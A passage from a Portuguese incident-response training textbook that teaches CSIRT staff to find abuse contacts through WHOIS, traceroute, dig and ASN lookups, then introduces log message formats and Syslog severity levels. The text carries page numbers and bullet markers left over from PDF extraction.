Como ilustrado, todos os domínios registrados são domínios suspeitos. Afinal, são domínios criados recentemente e com grafia similar à de instituições financeiras conhecidas. Utilizar essas informações de contato para um domínio suspeito não é recomendado. Afinal, as informações de contatos foram providas pelos próprios fraudados e, portanto, podem ser falsas. No exemplo, o contato da entidade para denunciar abusos relacionados com os domínios é o endereço de e-mail: “[email protected]”. Logo, enviar uma notificação para o responsável da entidade servirá apenas para notificar o atacante de que suas atividades foram identificadas.

Exercício de fixação e Encontre todos os domínios que foram registrados pela mesma entidade que registrou o domínio “rnp.br”.

Endereçamento IP A equipe do CSIRT deve estar preparada para lidar com as informações providas pelo endereçamento de uma instituição. Obviamente, o primeiro passo é identificar corretamente o endereço de origem dos ataques, o que pode requerer um esforço considerável por parte da equipe. Em alguns incidentes os atacantes tomam certos cuidados para acobertar a sua origem. Assumindo que o endereço de origem tenha sido determinado, este pode ser utili Tratamento de Incidentes de Segurança

zado para identificar os responsáveis.

116

Os responsáveis pelo endereçamento IP são instituições que efetivamente passam por

q

um processo de solicitação de blocos junto a um RIR responsável. Grande parte das instituições, no entanto, utiliza endereçamento sublocado por um provedor de acesso à internet (ISP). Por exemplo, muitas instituições conectadas na RNP recebem um bloco de endereçamento diretamente da RNP. No entanto, esse endereçamento continua sendo de responsabilidade da RNP, afinal, foi a própria RNP que solicitou o endereçamento ao RIR local (Lacnic). Durante uma investigação, é muito comum encontrar dados de um provedor de acesso quando se consulta a base WHOIS por um endereçamento IP de uma determinada insti-

tuição. Essas informações de contato podem ser efetivas, afinal, muitos provedores de rede implementam mecanismos para receber solicitações e responder incidentes de segurança. Por outro lado, alguns provedores são responsáveis por uma grande quantidade de blocos de endereçamento e não escalam o volume de solicitações referentes ao processo de resposta a incidentes. O sistema de WHOIS também disponibiliza informações de alocação IP, o que inclui infor-

q

mações de contato (endereços de e-mail e nome dos responsáveis). É importante notar que o conjunto de informações de alocação de IP disponibilizado pelo WHOIS é ligeiramente diferente das informações de um nome de rede (vide figura 6.1 versus figura 6.2).

% Copyright (4) Nic.br % A utilização dos dados abaixo é permitida somente conforme % descrito no Termo de Uso (http://registro.br/termo), sendo % proibida a sua distribuição, comercialização ou reprodução, % em particular para fins publicitários ou propósitos similares. % 2013-11-07 21:39:26 (BRST -02:00) inetnum: 200.130/16 asn: AS1916 cabusos: SIC128 titular: Associação Rede Nacional de Ensino e Pesquisa documento: 003.508.097/0001-36 responsável: Nelson Simões Silva país: BR c-titular: RC0217 c-técnico: RC0217 inetrev: 200.130.35/24 servidor DNS: lua.na-df.rnp.br status DNS: 07/11/2013 AA ultimo AA: 07/11/2013 servidor DNS: teyr.na-cp.rnp.br status DOS: 07/11/2013 AA último AA: 07/11/2013 servidor DNS: bellana.nc-rj.rnp.br último AA: 07/11/2013 criado: 15/02/2000 alterado: 07/03/2013 Contato (ID): RC0217 nome: RNP - Centro de Engenharia e Operações e-mail: [email protected] criado: 06/04/2006 alterado: 10/01/2013


status DNS: 07/11/2013 AA

Contato (ID): SIC128 nome: Security Incidents Response Center e-mail: [email protected] criado: 17/04/2002

117

e-mail: [email protected] criado: 06/04/2006 alterado: 10/01/2013 Contato (ID): SIC128 nome: Security Incidents Response Center e-mail: [email protected] criado: 17/04/2002 alterado: 09/03/2005 % Problemas de seguranga e spam tamben devem ser reportados ao % cert.br, http://cert.br/, respectivamente para [email protected] % e [email protected] Figura 6.2 Consultando informações de endereçamento IP via interface web do Registro.br.

% % whois.registro.br aceita somente consultas diretas. Tipos % de consultas são: dominio (.br), titular (entidade), % ticket, provedor, contato (ID), blow CIDR, IP e ASN. Na figura, é ilustrado o resultado de uma pesquisa pelo IP 200.130.35.4.

q

As seguintes informações podem ser identificadas: 11 Bloco de endereçamento: 200.130/16. Ou seja, o responsável pelo endereço 200.130.35.4 também é responsável por todos os endereços do bloco totalizando 65534 IPs; 11 Servidores DNS: lua.na-df.rnp.br, teyr.na-cp.rnp.br, bellana.nc-rj.rnp.br; 11 Contato técnico: [email protected]; 11 País de alocação: BR – Brasil; 11 Contato de segurança: [email protected]. De posse dessas informações, a equipe do CSIRT pode contatar os responsáveis por um

endereço IP identificado em um determinado incidente. O CSIRT deve priorizar as informações de contato de IPs frente as informações providas pelos domínios de rede. Lembrando que as informações de domínios são mutáveis, ou seja, no momento da ocorrência de um incidente, um domínio pode corresponder a um IP e no momento seguinte pode ser designado a outro IP.

Exercício de fixação Consulte a base de dados WHOIS usando sua ferramenta de preferência (sistema ou ferramenta online) e complete a tabela a seguir: 11 Certifique-se de que os contatos estão corretos;


11 Identifique o país de alocação do IP;

118

11 Identifique o CSIRT de coordenação. IP

Contato

218.234.18.106

[email protected]

71.240.222.159

[email protected]

200.204.153.97

[email protected]

84.63.113.123

[email protected]

143.54.1.20

[email protected]

196.216.2.136

[email protected]

Contato correto

País

CSIRT de coordenação

Muitas vezes, a identificação dos contatos é direta e os e-mails dos responsáveis podem ser facilmente identificados. Em outros casos, no entanto, é necessário utilizar diferentes métodos e meios de conseguir um contato funcional para reportar um incidente. Na sequência, alguns métodos são descritos.

Recursos adicionais Como exemplificado, os diferentes recursos de internet podem apresentar responsáveis distintos. Um domínio de rede (www.exemplo.com.br) possui informações de contato que geralmente são diferentes do respectivo endereço IP associado. Muitas vezes, mesmo utilizando os diferentes contatos identificados via WHOIS, não se obtêm um resultado satisfatório. Logo, as informações providas no sistema de WHOIS, como demonstrado anteriormente, podem ser utilizadas como ponto de partida para contatar os responsáveis. No entanto, nem sempre essas informações estão disponíveis ou estão desatualizadas. Nesses casos, onde não se têm um contato funcional, o CSIRT deve usar diferentes métodos e meios de comunicar as partes envolvidas. Infelizmente não existe uma maneira padrão de contatar uma instituição. De fato, existem alguns esforços que visam padronizar a forma de contatar instituições relativas a questões de segurança e administração de redes. Um dos esforços é descrito na RFC 2142, que recomenda endereços de e-mail comuns que cada instituição deveria ter para facilitar o contato, tal como os e-mails security@ ou csirt@, para contato de segurança. No entanto, essa boa prática de configuração não é implementada globalmente pelas instituições, por diversos fatores, como por exemplo o grande volume de spam recebido por essas contas ou, ainda, por desconhecimento dos administradores. Sendo assim, é fundamental que a equipe de um CSIRT seja apta a utilizar diferentes técnicas e ferramentas adicionais para complementar a investigação dos responsáveis por recursos de rede. Na sequência são apresentadas algumas ferramentas e também alguns serviços publica-

q

mente disponíveis para consulta de dados.

Ferramentas Existe um conjunto de ferramentas que podem ser utilizadas para obter informações de um determinado IP ou domínio envolvido com incidentes. Algumas ferramentas são amplamente utilizadas pela equipe do CSIRT para investigar a conectividade e acessibilidade de sistemas. No entanto, as mesmas ferramentas podem ser utilizadas no contexto da resposta a incidentes,

traceroute

traceroute O comando traceroute – ou o seu equivalente em sistemas Windows, tracert – exibe todos os hosts intermediários entre a máquina onde o comando é executado até o endereço destino. De uma forma geral, o comando traceroute pode ser utilizado para identificar a rota por onde o fluxo de pacotes é encaminhado. No processo de resposta a incidentes, a rota por onde o fluxo de pacotes é encaminhado pode revelar informações de contato de um determinado IP suspeito, entre elas: 11 Identificar o provedor de acesso (ISP): os hosts intermediários podem identificar dados do provedor de acesso ou provedor de conteúdo utilizado pelo IP suspeito. Nesses casos, onde o contato do IP suspeito não está acessível, pode-se contatar o

q Capítulo 6 - Identificação de contatos

mais especificamente na identificação de responsáveis por recursos de rede. Entre elas:

provedor para obter mais informações ou ainda solicitar que uma notificação seja encaminha ao cliente;

119

11 Identificar o CERT: assim como o provedor, o nome dos hosts intermediários

q

(reverso) pode revelar qual é o país onde o IP suspeito está localizado. Com isso, pode-se solicitar auxílio para um CSIRT nacional para que contatos mais específicos sejam ativados. A figura 6.3 ilustra o resultado do comando traceroute usando um IP arbitrário e como as informações podem ser úteis para identificar responsáveis por um endereçamento.

$ traceroute 143.54.1.20 traceroute to 143.54.1.20 (143.54.1.20), 30 hops max, 60 byte packets 1

10.0.0.1 (10.0.0.1) 1.165 ms 2.219 ms 2.817 ms

2

200.150.185.1 (200.150.185.1) 12.053 ms 14.801 ms 15.101 ms

3

200-170-105-65.user.ajato.com.br (200.170.105.65) 15.578 ms

15.933 ms 21.064 ms 4

200.170.100.2 (200.170.100.2) 35.531 ms 35.983 ms 36.210 ms

5

200-170-96-193.spo.vaughan.ajato.com.br (200.170.96.193) 39.090

ms 39.667 ms 40.549 ms 6

as1916.sp.ptt.br (187.16.216.4) 39.367 ms 9.693 ms 13.778 ms

7

sp-sc-10g-oi.bkb.rnp.br (200.143.252.66) 44.136 ms 44.117 ms

sp-pr-10g-oi.bkb.rnp.br (20 0.143.252.62) 16.844 ms 8

sc-rs-10g-oi.bkb.rnp.br (200.143.252.57) 34.298 ms 34.280 ms

pr-rs-10g-oi.bkb.rnp.br (20 0.143.252.53) 35.368 ms 9

200.143.255.162 (200.143.255.162) 32.738 ms 33.202 ms 34.432 ms

10

ufrgs-ve-40-mlx4.tche.br (200.19.240.14) 39.066 ms 39.032 ms 39.007 ms

11

lfs-in.ufrgs.br (143.54.0.241) 38.994 ms 39.293 ms 39.219 ms

12

penta.ufrgs.br (143.54.1.20) 31.745 ms 30.333 ms 36.441 ms

No exemplo citado, foi utilizado um IP arbitrário “143.54.1.20” como exemplo. Cada linha representa um host intermediário por onde o fluxo de pacotes passou para atingir o alvo. Como pode ser observado, o alvo (143.54.1.20) possui 12 hosts intermediários a partir da máquina em que o comando foi executado. Na maioria dos casos, os reversos dos hosts intermediários revelam dados do provedor e localização; nas linhas 3-5 é possível inferir que o pacote passou pelo backbone da operadora “ajato.com.br”. Na sequência, o pacote entra no ponto de troca de tráfego (sp.ptt.br) e acessa o backbone da RNP. Como destino, o pacote chega à rede da Universidade Federal do Rio Grande do Sul. Nesse exemplo da figura, as seguintes informações podem ser utilizadas para tentar encontrar os responsáveis pelo IP suspeito:


11 Provedor de trânsito do IP suspeito é a RNP: sendo assim, uma notificação poderia

120

ser enviada para os contatos de segurança da RNP; 11 O IP está localizado na infraestrutura da Universidade Federal do Rio Grande do Sul: a universidade possui um CSIRT próprio o qual poderia ser contatado para investigar o possível incidente. Dig Dig é uma ferramenta via linha utilizada para consultar servidor de nomes (DNS). O Dig é muito versátil e consegue obter diversas informações sobre recursos de rede permitindo diferentes tipos de consultas, tais como: 11 A (endereço de rede); 11 ANY (todas as informações disponíveis);

q

Figura 6.3 Traceroute: hosts intermediários até o destino 143.54.1.20.

11 MX (servidores de e-mails);

q

11 NS (servidores de nomes DNS); 11 SOA (Start of Authority Record); 11 HINFO (informações do host); 11 AXFR (transferência de zona). Por padrão, a consulta básica realizada é uma pergunta pelo tipo A (Address), ou seja, o endereço IP associado ao domínio requisitado. Os outros tipos de consultas devem ser especificados. Como por exemplo, para consultar todos os servidores de e-mails associados a um

q

determinado domínio, utilizando o comando a seguir:

$ dig domínio MX O reverso também pode ser consultado usando o comando dig. Para requisitar uma consulta reversa – IP para domínio –, o seguinte comando pode ser utilizado:

$ dig –x IP +short Da mesma forma, a ferramenta permite identificar a versão de um determinado servidor de DNS:

19. $ dig @server version.bind text chaos A ferramenta Dig utiliza por padrão o servidor DNS da própria rede para consultar informações; no entanto, esse comportamento pode ser alterado. Na consulta a seguir, por exemplo, é especificado via parâmetro um servidor de DNS. No comando exemplificado a seguir o servidor de DNS “8.8.8.8” – servidor DNS público do Google – é utilizada para resolver o nome “www.rnp.br”.

20. $ dig @8.8.8.8 www.rnp.br Outro tipo de pesquisa que pode ser útil no contexto de localização de contatos é a consulta por registros do tipo SOA. Para cada domínio DNS existe um tipo especial de registro denominado SOA (Start of Authority). O registro SOA possui um campo com informações de contato onde um endereço de e-mail é fornecido. Essas informações podem ser obtidas utilizando as ferramentas tradicionais de busca por nomes: dig, host e ferramentas web. Uma consulta por registro do tipo SOA, usando o comando dig, é exemplificado a seguir:

$ dig rnp.br soa +short teyr.na-cp.rnp.br. sti.rnp.br. 2013111402 10800 3600 604800 86400 Como resultado, a consulta ao domínio “rnp.br” apresentado na figura teve como

q

resposta os seguintes valores: 11 teyr.na-cp.rnp.br: servidor primário da zona rnp.br; 11 sti.rnp.br: é um endereço de e-mail de contato. Em vez do formato tradicional “usuário@domínio”, esse campo deve ser traduzido para [email protected]; 11 2013111402: número serial da zona do DNS; 11 10800: taxa de atualização (3h); 11 3600: tempo entre realizar uma nova transferência (60 minutos); 11 604800: expiração da zona – 7 dias;


Figura 6.4 consulta por informações do registro SOA.

q

11 86400: mínimo (1 dia). Logo, o contato de e-mail identificado pode ser mais uma forma de contatar os responsáveis

121

por um determinado endereço suspeito.

Exercício de fixação e utilizando a ferramenta DIG Utilize o comando dig para consultar dois servidores de nomes diferentes e resposta às perguntas a seguir: resolva o nome www.caixa.gov.br usando dois servidores públicos. a. Que comandos foram utilizados?

b. Qual é a versão de software dos servidores DNS utilizados?

c. As duas consultas retornam o mesmo resultado para o nome “www.caixa.gov.br”? Em caso negativo, o que pode ter acontecido?

Mapeando IP para AS Outra forma de obter mais informações sobre uma instituição é consultar informações

q

sobre o Sistema Autônomo – Autonomous System (AS) – associado a um determinado endereço IP. Como comentado, uma instituição pode ser identificada por diferentes meios. Além das maneiras descritas anteriormente – tal como domínios de redes e endereçamento IP –, dados de roteamento também podem ser utilizados. Tipicamente, instituições de grande e médio porte possuem autonomia para gerenciar questões relativas às políticas de roteamento. Nesse contexto, uma instituição pode ser


identificada por um número de identificação utilizado para fins de roteamento. Esse número

122

de identificação é denominado número AS, ou número de identificação do sistema autônomo. De forma resumida, um AS especifica uma coleção de blocos de endereçamento IP que foram designados para um provedor de internet. Portanto, identificar um sistema autônomo de uma instituição permite determinar o

q

endereçamento de redes de sua responsabilidade e, consequentemente, os contatos para que as notificações sejam enviadas. Para isso, um CSIRT pode consultar informações de roteamento disponível na internet e identificar um determinado AS. Diante disso, alguns grupos disponibilizam bases de informações desenvolvidas especifica-

mente para consultar informações de roteamento. Uma delas é mantida pelo grupo de pesquisa Shadownserver:

q

https://www.shadowserver.org/

O serviço provido pelo Shadownserver, que pode ser consultado via interface WHOIS,

q

fornece um conjunto de informações, entre elas: 11 Descrição do ASN; 11 País de alocação do ASN; 11 Prefixo BGP; 11 Data de alocação do ASN. Na sequência, são demonstrados alguns exemplos que ilustram a utilização do serviço de WHOIS provido pelo Shadownserver com informações relativas a roteamento. Por exemplo: Localizando informações de roteamento da Rede Nacional de Pesquisa/RNP.

q

Como base para consulta, será utilizado o site http://www.rnp.br/. Logo, faz-se necessário as seguintes etapas: a. converter domínio para endereço IP

$ host www.rnp.br www.rnp.br has address 200.130.35.4 b. consultar a base de dados shadowserver.org

2. $ whois -h asn.shadowserver.org ‘origin 200.130.35.4’ 3. 1916 | 200.130.0.0/16 | Associação | BR | RNP.BR | ASSOCIACAO REDE NACIONAL DE ENSINO E PESQUISA Como resultado, é possível observar que o IP 200.130.35.4 pertence ao AS 1916 e faz parte do bloco de endereçamento 200.130.0.0/16 alocado no Brasil (BR). De forma similar, pode ser realizada uma consulta por todos os endereços pertencentes a um determinado AS. No exemplo a seguir é realizado uma consulta por todos os blocos


alocados ao provedor da RNP:

123

user@server —> whois -h asn.shadowserver.org 'prefix 1916' 150.161.0.0/16 150.164.0.0/16 200.17.0.0/20 200.17.25.0/24 200.17.48.0/20 200.17.64.0/20 200.17.112.0/20 200.17.128.0/20 200.17.176.0/20 200.18.128.0/20 200.18.144.0/20 200.18.160.0/20 200.18.176.0/20 200.18.192.0/19 200.19.40.0/23 200.19.112.0/20 200.19.128.0/20 200.19.144.0/20 <...> Como pudemos observar, o AS possui inúmeros blocos de endereçamento associados. Diante disso, é possível estimar o tamanho de um provedor e suas características de roteamento. De forma indireta, essas informações servem para complementar as informações dos responsáveis por um determinado incidente (nome do provedor etc.).

Exercício de fixação e Sistemas Autônomos Com base nas informações disponibilizadas pelo site [1], responda as seguintes questões. [1] http://bgp.he.net/


a. Identifique qual é o seu AS neste momento.

124

b. Quantos ASs são estão sendo anunciados no Brasil?

Figura 6.5 Blocos de endereçamento associados ao AS 1916 (RNP).

c. Identifique quantos prefixos IPv4/IPv6 estão sendo anunciados pelo Brasil.

Demais recursos Mesmo assim, ainda existem casos em que não é possível determinar os contatos apropriados por um determinado recurso. Diante disso, o CSIRT deve recorrer a meios alternativos que podem ser empregados

q

para auxiliar, de forma indireta, nesta tarefa de identificar os devidos responsáveis. Por exemplo: 11 Utilizar informações contidas nos website (contatos); 11 Listas de discussões técnicas (maillist); 11 Redes sociais. Um recurso que pode ser útil para comunicar-se com uma instituição envolvida com um incidente é usar as informações contidas no próprio website da instituição. Por exemplo, pode-se acessar o website – domínio ou endereço IP:80 – e buscar por formas alternativas de contato. Algumas instituições disponibilizam formulários em seus sites para contato com os clientes. Esses formulários podem ser uma alternativa para contatar os responsáveis pela segurança de uma instituição. A figura 6.5, por exemplo, ilustra uma seção

Figura 6.6 Formulário de contato.


de um website com um formulário para contato.

125

Não bastando, um CSIRT pode utilizar recursos como fóruns técnicos e listas de

q

discussões (malling list) para localizar informações de contato da equipe técnica de uma determinada instituição. Boa parte de listas técnicas disponibilizam o arquivo de conversas de forma pública, o qual pode ser consultado. Logo, é possível buscar informações por um determinado IP ou domínio no arquivo dessas listas, de modo a obter mais informações dos responsáveis. No Brasil, existe uma lista de discussão técnica denominada – Grupo de Trabalho de

q

Engenharia e Operação de Redes – utilizada por administradores de sistemas e provedores de acesso. A lista é mantida pelo NIC.br e tem o seu histórico publicamente acessível no seguinte endereço: http://eng.registro.br/pipermail/gter/ Essa lista pode ser usada para obter contatos ou, até mesmo, como ponto de partida para localizar responsáveis por determinada redes. Além da lista GTER, existem diversas listas de discussões técnicas que podem ser utilizadas para consulta (NANOG, LACNOG etc.).

Também é possível consultar informações de um determinado recurso em mecanismos de buscas e até mesmo em redes sociais. Por exemplo, serviços de microblog-ging, tal como Twitter, pode ser utilizado para contatar uma instituição e solicitar os seus contatos técnicos. De forma resumida, as técnicas e ferramentas apresentadas neste capítulo buscam dar alternativas para identificar responsáveis por recursos de rede. Em certas situações, mesmo utilizando diferentes fontes de informações, não é possível identificar o contato dos responsáveis. Como alternativa, pode-se contatar o provedor de acesso solicitando informações do contato desejado ou, ainda, que a própria notificação seja repassada para os responsáveis. Adicionalmente, existem CSIRTs regionais e nacionais que podem prover contatos mais específicos quando necessário, mesmo que essas informações não sejam da constituinte do próprio CSIRT. Por exemplo, o CSIRT nacional pode ter informações de contatos de outros países, mesmo tendo sua área de atuação apenas no Brasil. Cuidados no processo de identificação de contato 11 As informações de roteamento são ativas: a ferramenta traceroute pode identificar o caminho da comunicação até o destino; no entanto, essas informações são dinâmicas e em uma análise pós-incidentes podem não refletir a realidade no momento do incidente; 11 As informações de resolução de nomes (DNS) são dinâmicas. Um determinado domínio pode ser traduzido para um endereço IP; no entanto, não existe garantia de


que essa informação será inalterada. Em análises pós-incidentes, da mesma forma,

126

um domínio de rede pode conter informações que não mais refletem a realidade no momento do incidente; 11 O contato identificado na base WHOIS deve ser sempre analisado com critério, sobretudo quando se utiliza ferramentas automatizadas para extrair informações. Algumas informações podem ser imprecisas, ou ainda, podem fazer com que as notificações sejam enviadas para os próprios atacantes.

q

Leitura recomendada: 11 Mailbox Names for Common Services, Roles and Functions: http://www.ietf.org/rfc/rfc2142.txt 11 Regional Internet Registries: https://www.arin.net/knowledge/rirs/countries.html 11 Internet Corporation for Assigned Names and Numbers – ICANN: https://www.icann.org/ 11 RFC 2821 – Simple Mail Transfer Protocol: www.ietf.org/rfc/rfc2821.txt


11 RFC 2476 – Message Submission: http://www.ietf.org/rfc/rfc2476.txt

127

128


Roteiro de atividades 6 Atividade 6.1 – Dados sensíveis Responda às seguintes questões relacionadas com o tema: gerenciamento de dados sensíveis. a. Você concorda com a ideia de enviar cópias dos incidentes para esses CSIRTs de coordenação?

b. Você acredita que qualquer tipo de incidente deve ser compartilhado com os CSIRTs de coordenação?

c. Que cuidados devem ser tomados para que um CSIRT de coordenação de outro país entenda a sua notificação?

Atividade 6.2 – Investigação de incidentes Você identificou uma atividade suspeita de um host em particular. Você considera importante Capítulo 6 - Roteiro de Atividades 6

realizar varreduras (scan) para o IP suspeito a fim obter mais informações sobre o atacante?

129

Atividade 6.3 – Investigação de contatos Considerando todas as metodologias estudadas neste capítulo, investigue todos os contatos ou responsáveis para as redes a seguir. Considere informações de domínio, endereçamento IP, informações contidas em website e dados de roteamento. Quem é o responsável técnico? É um endereço institucional ou pessoal? a. www.ac.gov.br


b. presidencia.gov.br

130

7 Conhecer a estrutura básica de sistemas de logs; Levantar questões relacionadas com o processo de reportar incidentes; Analisar mensagens de logs.

conceitos

Infraestrutura de coleta e armazenamento de mensagens de logs; Processamento e interpretação de mensagens de logs; Correlacionar informações de múltiplos sistemas.

Introdução Os logs são importantes fontes de informações para o gerenciamento de recursos de

q

sistemas computacionais. Os logs descrevem eventos registrados por dispositivos ou aplicações, podendo conter diferentes níveis de detalhamento de informações. As informações contidas nos logs podem ser usadas em diversas etapas do gerenciamento de sistemas, tais como: 11 Auditoria; 11 Depuração; 11 Estatísticas; 11 Provisão de recursos; 11 Identificação de falhas de hardware; 11 Investigação de incidentes de segurança; 11 Detecção de anomalias e possíveis ataques. Geralmente os logs podem ser utilizados para responder questões relacionadas a eventos que já aconteceram, tal como: identificar tentativas de acesso sem sucesso, instante em que o sistema sofreu instabilidade, e informar que sistema de arquivo está sobrecarregado. No entanto, os logs podem ser usados não apenas para revelar informações passadas, mas sim para identificar possíveis falhas em um futuro próximo. Por exemplo, informações que relatam constantes falhas na escrita de dados de um determinado disco rígido pode representar uma provável falha no disco. Em questões relacionadas com segurança, os logs podem identificar que aplicações estão sendo exploradas, permitindo à equipe avaliar se as suas proteções de segurança são adequadas. Logs também podem ser analisados para produzir relatórios que demonstram o comportamento de usuários, os quais podem ser utilizados para marketing, desenvolvimento de produtos e detectar comportamento anormal que podem indicar possíveis ataques. De forma


objetivos

Análise de Logs

complementar, os logs podem satisfazer requerimentos de autoria de um sistema e indicar os responsáveis por ações realizadas. 131

No entanto, identificar informações relevantes em um arquivo de log pode levar tempo e muito trabalho, principalmente em sistemas complexos com um grande volume de informações que devem ser analisadas. Logo, faz-se necessário entender as características básicas contidas nas mensagens de logs para que informações relevantes sejam facilmente identificadas. Estar familiarizado com os diferentes formatos de logs é fundamental para que o CSIRT possa atuar efetivamente no processo de resposta a incidentes. Da mesma forma, o entendimento do funcionamento geral do sistema de logs permite identificar erros e, adicionalmente, auxiliar na identificação de informações relevantes em arquivos de logs com formatos ainda não conhecidos. Este capítulo está organizado em duas etapas. A primeira etapa descreve as características básicas do sistema de registro de eventos (logs) descrevendo: a) os diferentes tipos de informações que podem ser encontradas nos arquivos de logs; b) formatos de arquivos, e c) infraestruturas de coleta e transmissão de informações de eventos. Já na segunda etapa, são abordadas diferentes maneiras de analisar os arquivos de logs, descrevendo ferramentas e técnicas utilizadas.

Mensagens de logs Uma mensagem de log é um conjunto de informações geradas por algum dispositivo ou

q

sistema que denota a ocorrência de um evento. O conjunto de informações contidas em um arquivo de log é dependente do tipo de sistema que está gerando os eventos. Por exemplo, mensagens de logs de um servidor web contêm informações específicas sobre o próprio serviço: arquivos acessados, páginas não encontradas, requisições HTML, status do serviço web, entre outros. Por outro lado, logs de um roteador contêm dados de protocolos e informações do próprio Sistema Operacional do roteador (carga, status das interfaces e taxa de utilização das interfaces). Existe uma grande quantidade de dispositivos e sistemas que podem ser configurados

q

para registrar informações de eventos, tais como: 11 Impressoras; 11 Sistemas de antivírus; 11 Servidores Unix/Windows; 11 VPN (redes virtuais privadas); 11 Roteadores, firewalls e switches; 11 NAT (serviço de tradução de nomes);


11 Aplicações (serviços de rede, serviços web e softwares em geral);

132

11 Equipamento de controle de acesso físico (leitores biométricos e catracas). De fato, a heterogeneidade dos dispositivos e sistemas faz com que a natureza das mensagens de logs seja bastante diversificada. Algumas mensagens com maior nível de detalhamento de informação e outras com menos. Mesmo com a grande variabilidade de informações que podem ser originadas pelos dispositivos, podem-se agrupar as informações em certas categorias tendo em vista a natureza da própria mensagem: 11 Gerência de mudança: informações de troca de configuração, atualização de componentes e mudanças de contas de usuários. Essa categoria engloba todos os recursos que podem ser atualizados, adicionais, ou removidos;

q

11 Autenticação e autorização: mensagens relativas à autenticação de usuários nos

q

diversos sistemas e autorização de acesso a recursos privilegiados. Por exemplo, acessos do usuário root; e tentativas de obter acesso via comando sudo; 11 Acesso a dados e sistema: registro de eventos associados ao acesso de componentes de aplicações, incluindo informações de arquivos e banco de dados. Os eventos dessa categoria geralmente descrevem informações operacionais e de desempenho, incluindo questões relativas à segurança dos sistemas; 11 Ameaças: eventos gerados por dispositivos de rede que produzem mensagens de alerta e demais atividades que violam as políticas de segurança da instituição. Nessa categoria incluem mensagens originadas por firewalls e sistemas de detecção de intrusão; 11 Desempenho e capacidade: envolve mensagens relativas ao desempenho dos sistemas e gerenciamento de capacidades, tais como: utilização de memória, utilização do espaço em disco e carga do sistema; 11 Disponibilidade: informações sobre a disponibilidade do recurso computacional. Muitos dispositivos registram eventos quando um sistema é iniciado, reiniciado ou desligado. Essas informações são fundamentais para identificar quanto tempo um sistema ficou indisponível – ou ainda examinar quando uma interface de um roteador está inoperante; 11 Diversas: mensagens genéricas de notificação que servem para chamar atenção de um determinado evento configurado pelo próprio desenvolvedor da aplicação. Independentemente da natureza e do nível de detalhamento das mensagens de logs, é possível identificar um conjunto básico de informações tipicamente presentes em boa parte das mensagens. Identificar esse conjunto básico de informações presentes nas mensagens de logs é determinante para que um CSIRT interprete corretamente o evento registrado. Os elementos essenciais de uma mensagem de log são:

q

11 Timestamp: tempo no qual o evento foi registrado pelo sistema de logs; 11 Origem: o sistema que originou a mensagem. Geralmente um endereço IP ou nome de uma máquina; 11 Dados: informações sobre o evento gerado, sendo dependente do objeto monitorado. Não existe um formato padronizado de informações disponibilizadas por um evento, podendo conter: dados de usuários, dados de aplicações e recursos de sistemas. A maneira exata com que as mensagens de logs são compostas depende do sistema origipela configuração da aplicação. Talvez o formato mais comum utilizado por sistemas de computadores e dispositivos

q

seja o formato baseado no Syslog (posteriormente descrito). A seguir uma mensagem de log usando o formato Syslog:

1. Jan 28 11:42:59 sshd[1184]: server Accepted password for teste from 10.10.10.10 port 6541 ssh2 Essa mensagem de log descreve um evento relacionado com o serviço SSH. Como pode ser visualizado, a mensagem pode ser dividida em quatro campos com informações relativas ao evento:


nador de mensagens – tipicamente uma aplicação – e do nível de detalhamento especificado

133

Jan 28 11:42:59

timestamp

sshd[1184]

Nome do serviço e número do processo em execução no Sistema Operacional

server

Nome do servidor onde o serviço está sendo executado

Accepted pass...

Mensagem do serviço SSH informando um acesso autorizado pelo usuário “teste” a partir do IP 10.10.10.10 utilizando a porta origem 6541.

Assim como mensagens de logs baseados na especificação Syslog, alguns sistemas implementam o seu próprio sistema de gerenciamento de logs. Por exemplo, o Windows XP e o Windows 7 possuem um sistema de log denominado de Event Log. A figura 7.1 ilustra o visualizador de eventos do sistema Windows, onde é possível obter informações de todos os

Tabela 7.1 Alguns incidentes e possíveis procedimentos.

eventos relacionados a aplicações, segurança e aos aplicativos.

Figura 7.1 Event Viewer: gerenciamento de eventos em sistemas Windows.

Portanto, é importante observar que as mensagens de logs são dependentes funda-

q

mentalmente de dois fatores: aplicação (define o conteúdo na mensagem) e também do sistema utilizado para registrar as informações (define o formato e estrutura). Além de gerenciar os eventos gerados por um sistema de logs, alguns sistemas de gerenciamento de logs permitem priorizar certos tipos de eventos de logs. Dessa forma, informações Tratamento de Incidentes de Segurança

críticas podem ser gerenciadas de diferentes maneiras das demais informações. Isso é essen-

134

cialmente útil, sobretudo em sistemas onde existe um grande volume de informações. Utilizando a priorização de eventos, torna-se viável unificar todos os eventos críticos do sistema e das demais aplicações sendo executadas. A priorização de logs é dependente do sistema de logs utilizado; no entanto, boa parte deles possui uma taxonomia semelhante. A seguir um exemplo – baseado em uma implementação do Syslog – descrevendo algumas categorias utilizadas: 11 Debug: mensagens de depuração são geradas por sistemas e aplicações de maneira a auxiliar desenvolvedores de softwares a identificar problemas de execução do programa. Sistemas configurados para registrar eventos em modo debug produzem uma grande quantidade de informação e com um grande nível de detalhes;

q

11 Informational: são mensagens que são designadas para informar ao administrador

q

e usuários uma ação específica. Por exemplo, alguns sistemas geram mensagens do tipo informational quando um Sistema Operacional é reiniciado. Embora o reinício de um sistema seja uma ação normal, em certos contextos pode constituir uma exceção de funcionamento ou uma violação de segurança; 11 Warning: mensagens que identificam algumas exceções na execução, mas que não impactam no funcionamento normal do sistema. Por exemplo, mensagens de log informando que o sistema de arquivos está com pouco espaço disponível; 11 Error: mensagens de erro que representam falhas na execução e afetam o funcionamento normal do sistema. Por exemplo, uma mensagem informando um erro de sintaxe na execução de um comando; 11 Alert: mensagem que contém informações não usuais e potencialmente perigosas para a execução do sistema. Mensagens de alerta geralmente correspondem a eventos de segurança. Por exemplo, um evento gerado por um sistema de detecção de intrusão, quando este identifica um comportamento possivelmente malicioso. A figura 7.2 ilustra as categorias descritas anteriormente no formato de uma pirâmide. No topo da pirâmide estão as mensagens com maior severidade para o sistema, e na base as mensagens com menor priorização. Embora não seja uma regra, a base da pirâmide também o volume de mensagens tipicamente produzidas pelos sistemas: por exemplo, mensagens informacionais são mais encontradas do que mensagens do tipo erro.

Severidade

Figura 7.2 Categorias típicas implementadas por sistemas de logs.

alert

mensagens de alerta

error

mensagens de erro

warning

mensagens de aviso

informational

mensagens informacionais

debug

mensagens de depuração

Sistemas de logs Os sistemas de logs – sistemas de registros de eventos e notificações – são compostos

q

por diferentes componentes básicos responsáveis por gerar, transmitir e armazenar

